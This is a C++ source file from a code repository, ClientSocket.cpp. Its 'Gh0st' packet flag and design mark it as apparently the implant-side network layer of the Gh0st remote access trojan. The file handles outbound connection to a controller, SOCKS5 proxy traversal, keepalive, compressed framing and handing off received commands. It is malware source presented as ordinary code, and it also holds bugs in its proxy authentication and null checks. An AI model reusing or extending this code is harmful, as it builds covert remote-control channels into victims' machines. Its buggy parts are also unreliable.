Files
2013-05-09 05:09:19 +08:00

501 lines
13 KiB
C++

// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#include "ClientSocket.h"
#include "zlib/zlib.h"
#include <process.h>
#include <MSTcpIP.h>
#include "common/Manager.h"
#include "common/until.h"
#pragma comment(lib, "ws2_32.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = {0};
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = {0};
char CClientSocket::m_strPassWord[256] = {0};
CClientSocket::CClientSocket()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'};
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
WaitForSingleObject(m_hWorkerThread, INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
CloseHandle(m_hWorkerThread);
CloseHandle(m_hEvent);
WSACleanup();
}
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// 一定要清除一下,不然socket会耗尽系统资源
Disconnect();
// 重置事件对像
ResetEvent(m_hEvent);
m_bIsRunning = false;
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// 构造sockaddr_in结构
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
if (m_nProxyType != PROXY_NONE)
ClientAddr.sin_port = htons(m_nProxyPort);
else
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
// 禁用Nagle算法后,对程序效率有严重影响
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// 验证socks5服务器
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
{
return false;
}
// 不用保活机制,自己用心跳实瑞
const char chOpt = 1; // True
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
{
// 设置超时详细信息
tcp_keepalive klive;
klive.onoff = 1; // 启用保活
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
WSAIoctl
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
(unsigned long *)&chOpt,
0,
NULL
);
}
m_bIsRunning = true;
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
{
struct timeval tvSelect_Time_Out;
tvSelect_Time_Out.tv_sec = 3;
tvSelect_Time_Out.tv_usec = 0;
fd_set fdRead;
int nRet = SOCKET_ERROR;
char buff[600];
struct socks5req1 m_proxyreq1;
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
m_proxyreq1.nMethods = 2;
m_proxyreq1.Methods[0] = 0;
m_proxyreq1.Methods[1] = 2;
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
struct socks5ans1 *m_proxyans1;
m_proxyans1 = (struct socks5ans1 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method !=0 && m_proxyans1->Method != 2))
{
closesocket(m_Socket);
return false;
}
if(m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
{
int nUserLen = strlen(m_strUserName);
int nPassLen = strlen(m_strPassWord);
struct authreq m_authreq;
memset(&m_authreq, 0, sizeof(m_authreq));
m_authreq.Ver = PROXY_SOCKS_VER5;
m_authreq.Ulen = nUserLen;
lstrcpy(m_authreq.NamePass, m_strUserName);
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
int len = 3 + nUserLen + nPassLen;
send(m_Socket, (char *)&m_authreq, len, 0);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if(m_authans->Ver != 5 || m_authans->Status != 0)
{
closesocket(m_Socket);
return false;
}
}
hostent* pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
struct socks5req2 m_proxyreq2;
m_proxyreq2.Ver = 5;
m_proxyreq2.Cmd = 1;
m_proxyreq2.Rsv = 0;
m_proxyreq2.Atyp = 1;
m_proxyreq2.IPAddr = * (ULONG*) pHostent->h_addr_list[0];
m_proxyreq2.Port = ntohs(nPort);
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
struct socks5ans2 *m_proxyans2;
m_proxyans2 = (struct socks5ans2 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
closesocket(m_Socket);
return false;
}
return true;
}
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
}
}
return -1;
}
void CClientSocket::run_event_loop()
{
WaitForSingleObject(m_hEvent, INFINITE);
}
bool CClientSocket::IsRunning()
{
return m_bIsRunning;
}
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
try
{
if (dwIoSize == 0)
{
Disconnect();
return;
}
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
throw "bad buffer";
delete [] pData;
delete [] pDeCompressionData;
}
else
break;
}
}catch(...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
}
void CClientSocket::Disconnect()
{
//
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
CancelIo((HANDLE) m_Socket);
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
SetEvent(m_hEvent);
m_Socket = INVALID_SOCKET;
}
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
{
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete [] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete [] pDest;
// 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
if (lpResendWriteBuffer)
delete [] lpResendWriteBuffer;
}
else // 要求重发, 只发送FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
}
// 分块发送
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nRet = 0;
const char *pbuf = (char *)lpData;
int size = 0;
int nSend = 0;
int nSendRetry = 15;
// 依次发送
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
{
for (int i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, pbuf, nSplitSize, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // 必要的Sleep,过快会引起控制端数据混乱
}
// 发送最后的部分
if (size > 0)
{
for (int i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, (char *)pbuf, size, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
}
if (nSend == nSize)
return nSend;
else
return SOCKET_ERROR;
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}
void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/ )
{
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
memset(m_strUserName, 0, sizeof(m_strUserName));
memset(m_strPassWord, 0, sizeof(m_strPassWord));
m_nProxyType = nProxyType;
if (lpszProxyHost != NULL)
lstrcpy(m_strProxyHost, lpszProxyHost);
m_nProxyPort = nProxyPort;
if (m_strUserName != NULL)
lstrcpy(m_strUserName, lpszUserName);
if (m_strPassWord != NULL)
lstrcpy(m_strPassWord, lpszPassWord);
}